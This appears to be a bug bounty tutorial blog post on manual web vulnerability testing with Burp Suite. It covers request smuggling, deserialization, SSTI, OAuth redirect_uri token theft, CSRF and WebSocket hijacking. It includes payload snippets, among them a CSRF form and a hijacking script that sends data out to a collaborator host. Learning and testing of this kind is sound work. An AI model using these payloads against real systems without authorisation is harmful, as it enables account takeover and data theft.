Bug Bounty — Manual Approach To Test Vulnerabilities (PART 1 )

6 min readMar 2, 2022


Manual testing using Burp Suite

Hello people, it’s me again. In most cases, with automated tools, you can possibly find low level security bugs i.e most likely Blind XSS, Directory Bruteforcing using both wordlists and using ffuf tool, subdomain gathering, information disclosure, etc. Today we will discuss how to approach vulnerabilities when you are performing bug bounty testing.

Below mentioned are some of the scenarios:

HTTP Request Smuggling:

Step 1: Right-click on FQDN -> Smuggle Probe

Step 2: If found, left-click on the “Issue” -> left-click on the “Request 1” tab -> select CL.TE or TE.CL (If the vuln is found on multiple directories, expand and click on the correct path).

Step 3: Edit prefix to meet payload requirements.

Step 4: Attack



Step 1: Identify language application is written in -> Understand how data is serialized in that language.

  • PHP — O:4:”User”:2:{s:4:”name”:s:6:”carlos”; s:10:”isLoggedIn”:b:1;}
  • Java — Object begins with “ac ed” (Hex) or “rO0” (Base64)

Step 2: Find serialized data that can be controlled by user input.

Step 3: Choose the best method of attack.

1. Edit object directly in it’s byte stream form.

2. Write a script in the noted language to create and serialize an object yourself.

3. Use an existing tool:

    ~ Function calls: exec | system
    ~ ./phpgcc [PAYLAOD] [PARAMETERS] | base64 -w 0 | xclip -selection
    ~ Add encoded payload and secret key (from phpinfo()) to sha1-hmac-generator.php (URL)
  • Java — ysoserial
    ~ Payload should be URL encoded (whole payload) when sending through vulnerable cookie.


Step 1: Parse source code for keywords:

~ PHP — serialize() | unserialize()
~ Java — java.io.Serializable | readObject() | InputStream

Prototype Poisoning:

Step 1: Identify vulnerability with payload/scanner

Step 2: Find vulnerable gadgets/technologies.

~ Fingerprint.js ( — https://gist.github.com/nikitastupin /b3b64a9f8c0eb74ce37626860193eaec)

~ Wappalyzer

Step 3: If no vulnerable gadgets found -> Check Untrusted-Types plugin in Dev Tools Console.

Server-Side Template Injection:

Step 1: Identify vulnerability

  • Reflected input -> no XSS vuln (no output/encoded tags/error message) -> break out using templating syntax (http://vulnerable.com/?greeting=data.username}}<tag>)

~ If there is no change, either wrong templating syntax is used or page isn’t vulnerable.

~ Custom BurpBounty template to test for solution to mathmatical operation in response (EX: http://vulnerable.com?greeting=${7*7} -> Check response for ‘49’).

Step 2: Identify template engine.

Step 3: Exploit vulnerability


Steps of OAuth:

Authorization Code:

1. Authorization Request

  • Common parameters: redirect_uri/response_type/scope/state


GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1 Host: oauth-authorization-server.com 

2. User Consent

3. Authorization Code Grant

  • Common parameters: code/state
  • Vulnerable to CSRF.


GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1 Host: client-app.com 

4. Access Token Request

  • Common parameters: client_secret/grant_type/client_id/redirect_uri/code
  • Example:
 -> POST /token HTTP/1.1 -> Host: oauth-authorization-server.com   … client_id=12345&client_secret=SECRET&   redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8 

5. Access token grant

— > Server responds with Bearer Token.

6. API call

— > Contains Authorization header with Bearer Token.

7. Resource grant

— > Server responds with sensitive data.

Step 1: Search traffic for known OAuth parameters.

~ client_id
~ redirect_uri
~ response_type
~ state

Step 2: Send GET request to known OAuth Service Provider endpoints.

→ /.well-known/oauth-authorization-server
→ /.well-known/openid-configuration

Step 3: Identify Grant Type (response_type parameter)

→ Authorization Code — response_type=code
→ Implicit →response_type=token (More common in SPAs and Desktop

Step 4: Identify misconfigurations that can be abused

~ Implicit → All the data in POST request not validated when establishing session.

~ Authorization Code → No state parameter used -> CSRF (most impact when linking accounts)

~ Authorization Code / Implicit → Steal code/token through redirect_uri

There are several redirect possibilities:

1. Redirect to any domain.

2. Redirect to any subdomain.

3. Redirect to specific domains.

4. Redirect to one domain, all paths.

5. Redirect to one domain, specific paths.

6. Redirect to one domain, one path.

7. Redirect to whitelisted domains and/or paths based on Regex.

8a. Can add parameters
8b. Can add specific parameters
8c. Cannot add parameters

  • Note: Try using parameter pollution, SSRF/CORS defense bypass techniques, localhost.evil-server.net, etc.

Step 1: Send malicious url with poisoned redirect_uri parameter

Step 2: Read code/token in response

Step 3: Substitute stolen code/token when logging in

  • Note: If redirect_uri parameter is sent with code/token, server is likely not vulnerable

Steal parameter data from hash fragments:

if (document.location.hash)
console.log(“Hash identified — redirecting…”);
window.location = ‘/?’+document.location.hash.substr(1);
console.log(“No hash identified in URL”);

→ Upgrade scope to access protected resources (depends on grant type):

~Authorization Code:

Step 1: Register a malicious application with the OAuth server.
Step 2: Victim approves limited scope.
Step 3: Malicious application sends POST request to /token with expanded scope.
Result: If the OAuth server does not validate the scope with the original request, the access token returned will have an expanded authorization.

~ Implicit:

Step 1: Steal access token.
Step 2: Manually send access token with expanded scope.
Result: If the OAuth server does not validate the scope with the original request, the access token returned will have an expanded authorization.

→ Sign up with victim’s email to get account takeover.

OpenID Connect w/ OAuth:

— Uses JWT (id_token)
— Keys can be exposed on /.well-known/jwks.json
— Configuration can be exposed on /.well-known/openid-configuration
— Can be combined with normal OAuth grant types.

Example: response_type=id_token token || response_type=id_token code

Step 1: Check for dynamic registration (is some form of authentication required, like a Bearer token?)

Step 2: Craft a malicious registration payload for SSRF


Step 1: Identify 3 conditions:

1. Relevant Action → Action in the application the attacker wishes to induce.

2. Cookie-based Session Handling → Self explanitory (No Authorization Headers!)

3. No Unpredictable Request Parameters — CSRF Token / Must know current password to change.

Step 2: Build malicous page to exploit

— Custom:

<form action=”https://vulnerable-website.com/email/change” method=”POST”>
<input type=”hidden” name=”email” value=”pwned@evil-user.net” />


1. Select Targeted Request.
2. Right-click -> Engagement Tools -> Generate CSRF PoC.
3. Customize generated PoC as needed.
4. Host in AWS.


~ WebSocket messages can be intercepted in Burp just like HTTP/HTTPS requests.

~ Set Client-to-Server or Server-to-Client in the Options tab.

~ Manipulate WebSocket handshake:


~ To Expand attack surface. (most important)
~ Attack may close your established connection.
~ Token expires.

Step 1: Burp Repeater -> “Pencil Icon” next to the WebSocket URL.

Step 2: Choose to clone or reconnect.

Step 3: Edit connection as needed.

Step 4: Click “Connect” to initiate handshake

  • Identify design flaws:

~ Misplaced trust in HTTP security headers.
~ Flaws in session handling.
~ Expanded attack surface w/ custom HTTP headers.

  • Cross-Site WebSocket Hijacking (CSWSH):

~ Identify HTTP WebSocket handshake that does not have CSRF or other
unpredictable token.

~ Session must be established through cookie, just like CSRF.

~ Sec-WebSocket-Key header does not perform authentication or session handling.

~ Malicious Application:

websocket = new WebSocket(‘wss://your-websocket-URL’)
websocket.onopen = start websocket.onmessage = handleReply
function start(event)
function handleReply(event)
fetch(‘https://your-collaborator-domain/?’+event.data, {mode: ‘no-cors’})

HTTP Host Header Attacks:

— Reasons for multiple applications being hosted on a single IP address:

  1. Virtual Hosting (VHosting):

~ Multiple apps with a single owner.

~ Multiple apps with multiple owners (Most commonly SaaS).

2. Traffic Routed through Intermediary:

~ Apps hosted on back-end servers.

~ Traffic routed through load balancer or reverse proxy server.

~ Very common when app is accessed through Content Delivery Network (CDN).

— What happens when you make an HTTP request in a browser?

1. Browser sends URL to DNS server, which responds with IP Address.

2. Browser sends HTTP request to IP Address that contains Host Header.

3. Web Server routes request to corresponding application based on Host Header.

— Possible vulnerabilities that can be exploited:

~ Web Cache Poisoning
~ Business Login Flaws
~ Client-side Vulns (XSS, SQLi, HTMLi, etc.)

That’s it for today. See you on the flip side.

Incoming for PART 2:

  • Testing for HTTP Host Header Attacks.
  • DOM based XSS
    ~ Common Sources
    ~ Common Sinks
    ~ Testing for Sinks
  • Bypassing CSP Controls




I try to analyze ransomware attacks | Static Code Analysis | Privacy & Security Updates | Pen Testing | Bug Bounty